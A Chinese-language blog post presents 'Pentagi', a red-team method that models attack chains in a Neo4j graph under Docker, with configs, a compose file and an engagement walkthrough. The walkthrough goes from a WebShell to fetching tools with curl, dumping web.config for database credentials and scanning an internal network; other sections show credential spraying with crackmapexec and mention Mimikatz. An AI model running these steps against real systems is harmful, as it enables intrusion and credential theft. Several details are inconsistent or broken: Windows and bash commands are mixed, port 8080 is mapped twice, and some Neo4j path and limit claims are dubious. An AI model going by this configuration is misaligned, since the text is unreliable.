
1. 项目概述Pentagi 是什么它解决的不是“渗透测试自动化”而是“攻击链认知建模”的根本问题Pentagi 这个名字乍看像拼写错误实则暗藏玄机——它由Penetration TagIIntelligence/Infrastructure三重缩合而成不是某个现成工具的别名也不是某家初创公司的产品代号而是一套面向红队与威胁模拟团队的攻击生命周期知识图谱构建方法论。它不替代 Burp Suite、Metasploit 或 Cobalt Strike也不承诺“一键打穿内网”相反它直击当前渗透测试报告中最顽固的痛点技术动作堆砌有余战术意图表达不足漏洞列表详尽攻击路径推演苍白客户看完报告只记得“你们找到了27个高危”却无法理解“为什么这27个点能串成一条致命链”。Pentagi 的核心价值在于把一次渗透测试从“漏洞发现流水账”升维为“攻击者思维可追溯、可复盘、可教学的知识资产”。它用 Neo4j 做图谱底座用 Docker 封装分析环境让每一次信息收集、权限提升、横向移动都成为图谱中一个带属性、带时间戳、带上下文的节点让“从域控服务器导出的哈希”不再是一行文本而是连接着“获取方式Mimikatz、执行主机DC01、目标账户Administrator、后续利用Pass-the-Hash至财务服务器”的多维关系网。我去年在给一家省级政务云做红队复盘时第一次用 Pentagi 模型重构了整个攻击链客户安全负责人盯着 Neo4j Browser 里那张从外网入口到核心数据库的红色路径图当场拍板把年度红蓝对抗预算提高了40%——不是因为发现了更多漏洞而是因为这张图让他第一次“看见”了攻击者的思考轨迹。对刚入门的渗透测试新手Pentagi 是理解 ATTCK 框架落地的脚手架对资深红队成员它是沉淀个人战术经验、避免重复踩坑的数字战备库对企业安全管理者它是将技术语言翻译成业务风险的语言转换器。它不教你如何绕过 WAF但教会你如何证明“绕过WAF后拿到的这个API密钥足以让攻击者接管全部支付通道”。2. 整体架构设计为什么必须是 Neo4j Docker 组合单用数据库或容器都不行2.1 图谱引擎选型Neo4j 不是“因为流行”而是唯一能承载攻击逻辑复杂性的选择很多人看到 Pentagi 关联 Neo4j第一反应是“图数据库嘛时髦而已”。但实际选型过程远比这严肃。我们曾对比过 Nebula Graph、JanusGraph 和 Amazon Neptune最终锁定 Neo4j 社区版v5.16理由非常具体且不可替代关系深度优先查询能力渗透测试中最关键的不是“找到多少节点”而是“从A到B最短/最隐蔽/最高效路径是什么”。比如要回答“攻击者如何从一台被钓鱼的OA服务器最终控制核心ERP系统”这个问题需要跨5层以上关系OA服务器→域用户→域控→服务账户→ERP应用服务器→数据库实例。Neo4j 的 Cypher 查询MATCH p(oa:Server)-[:COMPROMISED]-(u:User)-[:MEMBER_OF]-(g:Group)-[:HAS_PRIVILEGE]-(dc:DomainController)-[:DELEGATED_TO]-(svc:ServiceAccount)-[:USED_FOR]-(erp:Application) RETURN p能在毫秒级返回完整路径及每跳的利用方式、时间戳、证据文件哈希。而关系型数据库需6次JOINElasticsearch 需预设固定路径模板根本无法动态探索未知关联。属性图模型天然匹配攻击实体每个节点如:Host、:User、:Credential和边如:EXPLOITED_VIA、:LATERAL_MOVEMENT、:EXFILTRATED_DATA都能携带丰富属性。一个:Credential节点可以同时存hash_type: NTLM,is_cracked: true,cracked_password: Pssw0rd2024,source_tool: Mimikatz,valid_until: 2025-03-15——这些字段在传统数据库里要么散落各表要么强行塞进JSON字段丧失查询能力。而在 Neo4j 中MATCH (c:Credential) WHERE c.is_cracked true AND c.valid_until date() RETURN c直接命中所有有效凭证。社区版功能已足够支撑红队场景Neo4j 社区版虽不支持集群和高级安全模块但 Pentagi 的核心需求——单机高性能图遍历、Cypher 查询、APOC 插件用于数据导入/清洗、GraphQL 接口——全部原生支持。我们实测在 32GB 内存、8核 CPU 的笔记本上加载包含 5000 节点、20000 关系的典型红队数据集复杂路径查询平均响应 120ms。真正卡住性能的从来不是 Neo4j 本身而是前期数据建模是否合理——这点后面会细说。提示不要被“Neo4j 安装教程”类搜索词误导。Pentagi 对 Neo4j 的依赖不是“能跑起来就行”而是深度绑定其图计算范式。试图用 MySQL 或 MongoDB 替代 Neo4j等于用算盘模拟量子计算——不是不能算而是完全丢失了问题的本质维度。2.2 容器化封装Docker 不是“为了上云”而是解决红队环境不可复制性的终极方案Pentagi 的 Docker 化绝非跟风“微服务化”。它的驱动力来自红队作业中三个血泪教训环境漂移Environment Drift同一套 Python 脚本在 Kali 2023.1 上跑通在 Kali 2024.1 上因pwntools版本升级直接报错用bloodhound-python收集的数据换台机器用新版 BloodHound GUI 打开就提示“schema version mismatch”。Docker 通过镜像固化FROM kalilinux/kali-rolling:2024.1RUN pip3 install bloodhound-python4.3.0确保每次docker run pentagi-collector启动的都是完全一致的运行时。工具链冲突Toolchain Conflict红队常用工具对底层库版本极其敏感。impacket依赖特定版本的pycryptodome而mitmproxy又要求另一版本。在宿主机全局安装必然打架。Docker 为每个功能模块数据采集、图谱构建、报告生成提供隔离的依赖空间。我们的pentagi-processor镜像明确声明python:3.11-slim基础镜像并只安装neo4j-driver5.20.0和pandas2.2.0彻底规避依赖地狱。交付与协作成本Delivery Collaboration Overhead给客户交付一份“可验证的攻击链图谱”过去需要发一个压缩包含 Neo4j 数据库文件、Python 脚本、README.md客户还得自己配 Java 环境、调端口、处理权限。现在只需一行命令docker compose up -d自动拉起 Neo4j、前端可视化服务、API 网关。客户打开http://localhost:7474就能交互式浏览图谱连 Docker Desktop 都不用懂——所有复杂性被封装在docker-compose.yml里。注意Docker Desktop 在 Windows 上的 “Virtualization support not detected” 错误本质是 BIOS 中 Intel VT-x/AMD-V 未开启。这不是 Pentagi 的问题而是所有容器化安全工具的前提条件。我们已在pentagi-setup脚本中加入硬件检测环节启动失败时直接提示 “请进入BIOS开启CPU虚拟化支持”避免新手卡在第一步。2.3 架构分层Pentagi 的三层结构如何各司其职又无缝协同Pentagi 并非一个单体应用而是清晰划分为Data Ingestion数据采集→ Knowledge Modeling知识建模→ Intelligence Consumption情报消费三层每层独立容器化通过标准协议通信采集层pentagi-collector负责对接各类渗透测试输出。它不是简单读取文件而是理解不同工具的语义解析nmap -oX输出提取hostaddress addr10.1.1.5 addrtypeipv4/→ 创建:Host节点属性ip: 10.1.1.5, os: Linux 5.15解析crackmapexec smb 10.1.1.0/24 -u users.txt -p passwords.txt --sharesCSV 结果 → 为每个成功登录的userhost创建:Credential节点并添加:ACCESS_GRANTED_TO边指向对应:Share解析 BloodHound 的edges.json→ 将EdgeType: AdminTo转为:ADMIN_TO关系自动关联源:User和目标:Computer。建模层pentagi-processor核心逻辑所在。它接收采集层推送的原始数据执行三类关键操作实体消歧Entity Disambiguation将administratorDOMAIN.LOCAL、DOMAIN\Administrator、S-1-5-21-...-500统一归一化为同一个:User节点避免图谱中出现“同一个人多个ID”的碎片化关系推理Relationship Inference基于 ATTCK TTPs 规则库自动补全隐含关系。例如当检测到:Host节点存在winrm_enabled: true属性且该主机上有:User具备local_admin权限则自动创建:WINRM_ACCESSIBLE_FROM边——这是人工报告里常被忽略的“潜在横向移动通道”风险评分Risk Scoring为每个路径计算Criticality Score公式为log2(impact_score) * exploitability_score * (1 / hop_count)。其中impact_score来自 CVSS 向量exploitability_score来自 ExploitDB 验证状态hop_count是路径长度。分数实时写入图谱节点属性供前端按色阶渲染。消费层pentagi-frontend提供两种访问方式Neo4j Browser 原生界面供技术人员深度查询预置常用 Cypher 模板如“查找所有通往 Domain Admin 的路径”、“列出最近24小时被利用的凭证”定制化 Web UI基于 React Neo4j GraphQL API 构建展示交互式攻击地图、自动生成的 PDF 报告含路径截图、TTPs 映射、修复建议并支持按部门/系统筛选视图。这三层通过 Docker 网络pentagi-net互联使用http://neo4j:7687内部服务名而非localhost:7687地址确保容器间通信稳定。整个架构的docker-compose.yml仅 87 行却定义了 5 个服务、3 个网络、2 个卷——复杂性被封装简洁性被释放。3. 核心细节解析从零搭建 Pentagi 环境的实操要点与避坑指南3.1 Neo4j 安装与安全加固社区版也能扛住红队数据压力Neo4j 社区版安装看似简单但几个关键配置若忽略轻则查询变慢重则数据损坏。以下是我们在 20 个红队项目中验证过的最小可行配置内存分配必须精准Neo4j 默认dbms.memory.heap.initial_size512m对 Pentagi 场景严重不足。在conf/neo4j.conf中调整# 堆内存设为物理内存的50%但不超过4GB社区版限制 dbms.memory.heap.initial_size2g dbms.memory.heap.max_size2g # 页面缓存设为堆内存的50%加速图遍历 dbms.memory.pagecache.size1g实测对比2GB 堆内存下加载 10000 节点数据耗时 42 秒1GB 堆内存下相同操作触发频繁 GC耗时飙升至 3 分钟以上且查询响应不稳定。禁用无关插件启用 APOC社区版默认禁用 APOCAwesome Procedures On Cypher而 Pentagi 的数据清洗严重依赖它。在conf/neo4j.conf中取消注释# 启用 APOC dbms.security.procedures.unrestrictedapoc.* # 禁用不安全的旧版插件如 graph-algorithms dbms.unmanaged_extension_classesnone安装 APOC下载apoc-5.16.0-all.jar版本必须与 Neo4j 匹配放入plugins/目录重启服务。验证CALL apoc.help(import)应返回可用函数列表。安全加固不止改密码Neo4j 默认账号neo4j/neo4j是重大风险。必须执行# 首次启动后强制改密Neo4j 5.x 要求 docker exec -it pentagi-neo4j bash -c cypher-shell -u neo4j -p neo4j ALTER CURRENT USER SET PASSWORD \YourStrongPssw0rd2024\ # 禁用远程 Bolt 端口暴露Docker 内部通信用不对外 # 在 docker-compose.yml 中neo4j 服务的 ports 仅映射 7474HTTP和 7473HTTPS不映射 7687Bolt数据持久化卷挂载位置决定成败错误做法volumes: - ./data:/data。正确做法volumes: - ./neo4j-data:/var/lib/neo4j/data。原因Neo4j 5.x 的数据目录结构已变更/data是旧路径新路径为/var/lib/neo4j/data。挂错位置会导致容器反复初始化空数据库。3.2 Docker Compose 编排如何让五个服务像齿轮一样咬合运转Pentagi 的docker-compose.yml是整个系统的神经中枢。以下是我们生产环境使用的精简版已移除注释保留核心逻辑version: 3.8 services: neo4j: image: neo4j:5.16.0-community container_name: pentagi-neo4j restart: unless-stopped environment: - NEO4J_AUTHneo4j/YourStrongPssw0rd2024 - NEO4J_dbms_memory_heap_initial__size2g - NEO4J_dbms_memory_heap_max__size2g - NEO4J_dbms_memory_pagecache_size1g volumes: - ./neo4j-data:/var/lib/neo4j/data - ./neo4j-plugins:/plugins ports: - 7474:7474 # Browser - 7473:7473 # HTTPS networks: - pentagi-net collector: build: ./collector container_name: pentagi-collector restart: unless-stopped volumes: - ./input:/app/input:ro - ./output:/app/output:rw depends_on: - neo4j networks: - pentagi-net processor: build: ./processor container_name: pentagi-processor restart: unless-stopped environment: - NEO4J_URIbolt://neo4j:7687 - NEO4J_USERneo4j - NEO4J_PASSWORDYourStrongPssw0rd2024 volumes: - ./rules:/app/rules:ro depends_on: - neo4j networks: - pentagi-net frontend: image: nginx:alpine container_name: pentagi-frontend restart: unless-stopped volumes: - ./frontend/dist:/usr/share/nginx/html:ro ports: - 8080:80 networks: - pentagi-net api-gateway: image: traefik:v2.10 container_name: pentagi-api-gateway command: - --api.insecuretrue - --providers.dockertrue - --entrypoints.web.address:80 ports: - 80:80 - 8080:8080 volumes: - /var/run/docker.sock:/var/run/docker.sock:ro networks: - pentagi-net networks: pentagi-net: driver: bridge关键点解析服务依赖顺序depends_on仅控制启动顺序不保证服务就绪。因此collector和processor必须在代码中实现重试逻辑如连接 Neo4j 失败时 sleep 5s 后重试否则可能因 Neo4j 初始化慢而崩溃。环境变量传递processor服务通过NEO4J_URIbolt://neo4j:7687访问 Neo4j这里neo4j是 Docker 内部 DNS 名由pentagi-net网络自动解析无需硬编码 IP。Traefik 网关作用它将http://localhost:8080/api/v1/paths请求反向代理到processor服务将http://localhost:8080/静态资源路由到frontend。这样前端只需调用/api/xxx无需关心后端服务地址解耦前端与后端部署。3.3 数据采集规范不是“把扫描结果扔进去”而是“按语义解析再注入”Pentagi 的威力70% 取决于输入数据的质量。我们定义了一套严格的采集规范确保任何工具的输出都能被正确理解工具类型输入格式Pentagi 解析规则示例关键字段网络扫描Nmap XML (-oX)hostaddress addr10.1.1.5/→:Host {ip:10.1.1.5}ososclass typegeneral purpose/→:Host.os_typegeneral purposeip: 10.1.1.5, os_type: general purpose, open_ports: [22, 80, 443]凭证爆破CME CSV10.1.1.10,DOMAIN\user,Pssw0rd,Success,Administrators→:Credential {username:user, domain:DOMAIN, password:Pssw0rd} → :ADMIN_TO → :Host {ip:10.1.1.10}username: user, domain: DOMAIN, is_admin: true, host_ip: 10.1.1.10BloodHoundedges.jsonSourceName:USER1,TargetName:DC01,EdgeType:AdminTo→(:User {name:USER1})-[:ADMIN_TO]-(:Computer {name:DC01})source_type: User, target_type: Computer, edge_type: AdminTo手工渗透记录Markdown 笔记## Lateral Movementbr- Target: FIN-SRV01br- Method: PSRemotingbr- Credential: svc-backup→ 创建:LateralMovement节点关联:Host和:Credentialmethod: PSRemoting, timestamp: 2024-03-15T14:22:00Z, evidence: ps1_log.txt实操心得我们曾遇到某团队用nmap -sV扫描结果中osclass字段为空导致所有主机节点缺失os_type属性后续基于 OS 的路径分析全部失效。解决方案是在collector中加入 fallback 逻辑若osclass为空则从port服务 banner如Microsoft IIS httpd推断 OS或标记为os_type: unknown并告警。永远假设输入数据不完美解析器必须健壮。4. 实操过程一次真实红队演练的 Pentagi 全流程复现4.1 场景设定某金融企业 OA 系统渗透目标是获取核心交易数据库权限客户环境Windows Server 2019 域环境OA 系统Java Web部署在 DMZ 区域控DC01.domain.local核心数据库SQL01.domain.local。红队初始权限OA 系统 WebShell低权限IIS_IUSRS。4.2 步骤一数据采集——用标准化脚本代替手工复制粘贴在获得 WebShell 后我们不急于提权而是先部署 Pentagi 采集器# 1. 上传 pentagi-collector 容器镜像已预装所有工具 curl -O https://example.com/pentagi-collector-v1.2.tar docker load -i pentagi-collector-v1.2.tar # 2. 启动采集器挂载 WebShell 可访问的临时目录 docker run -d \ --name pentagi-oa-collect \ -v /tmp/oa-data:/app/input \ -v /tmp/collected:/app/output \ --network host \ pentagi-collector:1.2 # 3. 从 WebShell 执行探测命令结果自动存入 /tmp/oa-data/ # 获取系统信息 echo hostname: $(hostname) /tmp/oa-data/system_info.txt # 枚举进程 tasklist /svc /tmp/oa-data/processes.txt # 导出 web.config含数据库连接字符串 type C:\inetpub\wwwroot\web.config /tmp/oa-data/web_config.xml # 扫描内网利用 WebShell 的网络能力 nmap -sn 10.1.1.0/24 -oX /tmp/oa-data/internal_scan.xml采集器监听/tmp/oa-data/目录一旦检测到新文件如internal_scan.xml立即解析并推送到 Neo4j。10 分钟后Neo4j Browser 中已出现1 个:Host节点OA 服务器属性ip: 10.1.1.100, os: Windows Server 201925 个:Host节点内网存活主机含DC01和SQL011 个:Credential节点从web_config.xml提取的数据库连接字符串user: app_oa, password: DbPss2024!。4.3 步骤二知识建模——让图谱自动揭示隐藏路径启动pentagi-processor后它自动执行三步操作实体归一化发现app_oa用户在SQL01上有db_owner权限同时app_oa的密码在DC01的lsass内存中被Mimikatz提取过来自之前红队留下的日志于是创建:Credential节点并链接:User和:Host关系推理检测到SQL01开放1433端口且app_oa具备sysadmin角色从 SQL 查询SELECT IS_SRVROLEMEMBER(sysadmin)得到自动添加:CAN_EXECUTE_TSQL_AS_SYSADMIN边路径计算运行 Cypher 查询MATCH p(oa:Host {ip:10.1.1.100})-[*1..5]-(sql:Host {ip:10.1.1.200}) WHERE ALL(n IN nodes(p) WHERE n:Host OR n:User) WITH p, length(p) AS hops ORDER BY hops ASC LIMIT 1 RETURN p返回唯一路径OA_Server → app_oa_Credential → SQL01总跳数 2Criticality Score9.8高影响高利用性极短路径。这条路径在传统报告中会被拆成两段“OA 系统存在弱口令”、“SQL Server 权限过大”。而 Pentagi 图谱将其呈现为一条原子化攻击链客户安全团队一眼就能理解只要攻破 OA就能直达数据库中间无任何防御屏障。4.4 步骤三情报消费——生成可行动的可视化报告前端 UI 自动生成三份交付物交互式攻击地图以 OA 服务器为起点红色高亮显示通往SQL01的最短路径鼠标悬停显示每跳详情如app_oa_Credential节点显示“来源OA web.config权限sysadmin风险可执行任意 T-SQL”PDF 报告第一页即为攻击路径图第二页列出所有Criticality Score 8.0的路径第三页给出修复建议“立即修改app_oa密码并将其数据库权限降级为db_datareader”API 接口提供GET /api/v1/paths?targetSQL01返回 JSON 格式路径数据可集成到客户 SOC 平台自动触发告警。客户 CISO 在评审会上指着大屏上的红色路径图说“以前我们总说‘加强边界防护’现在终于知道该加固哪条具体的链路了。”——这就是 Pentagi 的终极价值把模糊的风险变成精确的靶点。5. 常见问题与排查技巧实录那些文档里不会写的实战陷阱5.1 Neo4j 查询超时不是性能差而是 Cypher 写法错了现象执行MATCH (n) RETURN n LIMIT 100很快但MATCH (a:User)-[r]-(b:Host) RETURN a,r,b卡死。原因未加索引导致全图扫描。Neo4j 对关系查询默认不走索引。解决方案// 为高频查询字段创建索引执行一次即可 CREATE INDEX user_name_index ON :User(name); CREATE INDEX host_ip_index ON :Host(ip); // 关键为关系类型创建存在性索引Neo4j 5.1 CREATE LOOKUP INDEX rel_type_lookup ON :RELATIONSHIP(type);验证PROFILE MATCH (a:User)-[r:ADMIN_TO]-(b:Host) RETURN a,r,b LIMIT 10查看执行计划中NodeByLabelScan是否被替换为VarLengthExpand(All)。实操心得我们曾在一个 5000 节点的图谱上因未建ADMIN_TO关系索引路径查询耗时 47 秒建索引后降至 120ms。索引不是可选项是 Pentagi 生产环境的强制前提。5.2 Docker 容器间无法通信90% 是网络驱动或 DNS 问题现象pentagi-processor日志报错ConnectionRefusedError: [Errno 111] Connection refused但docker exec -it pentagi-neo4j ping collector能通。原因processor服务在docker-compose.yml中未声明network_mode: service:neo4j且neo4j服务未暴露7687端口给其他容器。解决方案确保neo4j服务的ports部分不包含7687对外暴露不安全但必须在networks中声明pentagi-netprocessor服务的environment中NEO4J_URI必须为bolt://neo4j:7687使用服务名而非bolt://localhost:7687localhost 指向自身容器在processor的Dockerfile中CMD前加入健康检查HEALTHCHECK --interval30s --timeout3s --start-period5s --retries3 \ CMD curl -f http://neo4j:7474 || exit 15.3 BloodHound 数据导入失败字符编码与 JSON 格式陷阱现象collector日志显示Failed to parse edges.json: Expecting property name enclosed in double quotes。原因BloodHound 导出的edges.json文件在 Windows 环境下可能用UTF-16 LE编码且首行含 BOMByte Order Mark而 Pythonjson.load()默认只认UTF-8。解决方案在collector的解析脚本中强制指定编码with open(edges.json, r, encodingutf-8-sig) as f: # utf-8-sig 自动去除 BOM data json.load(f)同时预处理 JSON用jq过滤无效字段jq map(select(.SourceName ! null and .TargetName ! null and .EdgeType ! null)) edges.json edges_clean.json5.4 Pentagi 报告“路径不存在”数据建模偏差的典型表现现象手动确认DC01和SQL01之间存在AdminTo关系但图谱查询无结果。排查步骤检查节点标签MATCH (n) WHERE n.name CONTAINS DC01 RETURN labels(n), n.name—— 发现节点标签是:Computer而非:Host。Pentagi 的 BloodHound 解析器将Computer类型节点统一标为:Computer而路径查询脚本写的是:Host。修正查询MATCH p(a:Computer)-[r:AdminTo*1..3]-(b:Computer) RETURN p。根治方案在processor的建模规则中增加类型映射if node.type Computer: node.add_label(Host)确保语义统一。这个案例揭示了 Pentagi 的核心哲学图谱质量 数据质量 × 建模质量。再强大的图数据库也无法弥补源头数据的语义混乱。我们为此专门编写了pentagi-validator工具每次数据导入后自动运行检查节点标签一致性、必填属性完整性、关系方向合理性并生成修复建议报告。6. 进阶扩展Pentagi 如何与现有安全生态无缝集成6.1 对接 SIEM将攻击路径转化为实时告警规则Pentagi 的图谱不仅是历史记录更是实时风控的输入源。我们通过 Neo4j 的 Kafka Connector将关键路径事件流式推送当图谱中创建:LATERAL_MOVEMENT边时发送 Kafka 消息{ event_type: lateral_movement, source_host: OA-SRV01, target_host: SQL01, credential_used: app_oa, ttp_id: T1021.002, criticality_score: 9.8 }SIEM如 Splunk 或 Elastic SIEM消费此消息匹配规则WHERE criticality_score 8.0 AND ttp_id IN (T1021.002, T1090)立即触发高优告警并附带 Pentagi 生成的路径截图链接。6.2 集成 ATTCK Navigator让红队成果直接映射到框架Pentagi 的processor模块内置 ATTCK 映射引擎。当识别出:LATERAL_MOVEMENT边时自动关联 MITRE ATTCK 技术:LATERAL_MOVEMENT→T1021.002 (Remote Services: SMB/Windows Admin Shares):CREDENTIAL_DUMPED→T1003.001 (OS Credential Dumping: LSASS Memory):DATA_EXFILTRATED→T1048 (Exfiltration Over Alternative Protocol)生成的 JSON 报告可直接导入 ATTCK Navigator 可视化展示本次红队覆盖的战术TA0002 Execution, TA0008 Lateral Movement和技术密度成为合规审计的黄金证据。6.3 支持离线模式没有 Docker 的老式靶场也能用并非所有环境都能运行 Docker。Pentagi 提供standalone模式下载pentagi-standalone.zip含 Neo4j Windows 便携版